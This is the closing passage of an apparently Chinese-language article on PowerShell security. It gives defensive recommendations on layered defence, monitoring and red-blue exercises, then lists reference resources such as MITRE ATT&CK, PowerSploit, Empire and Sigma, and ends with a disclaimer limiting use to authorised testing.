最终建议:PowerShell安全防护没有银弹,攻击者总能找到新的绕过方法。安全团队应建立持续监测和快速响应的能力,结合技术手段和管理流程,构建多层纵深防御体系。定期进行红蓝对抗演练,验证检测规则的有效性,持续优化安全策略。
参考资源:
- Microsoft PowerShell安全文档
- MITRE ATT&CK T1059.001 PowerShell技术页面
- PowerSploit项目文档
- Empire项目文档
- Sigma规则仓库
- Splunk安全内容仓库
本文到此结束,希望对您的PowerShell安全攻防学习和企业安全建设有所帮助。如有问题欢迎交流讨论。
【声明】本文所有技术内容仅供安全研究和授权测试使用,请勿用于非法用途。因不当使用本文技术造成的任何后果,作者不承担任何责任。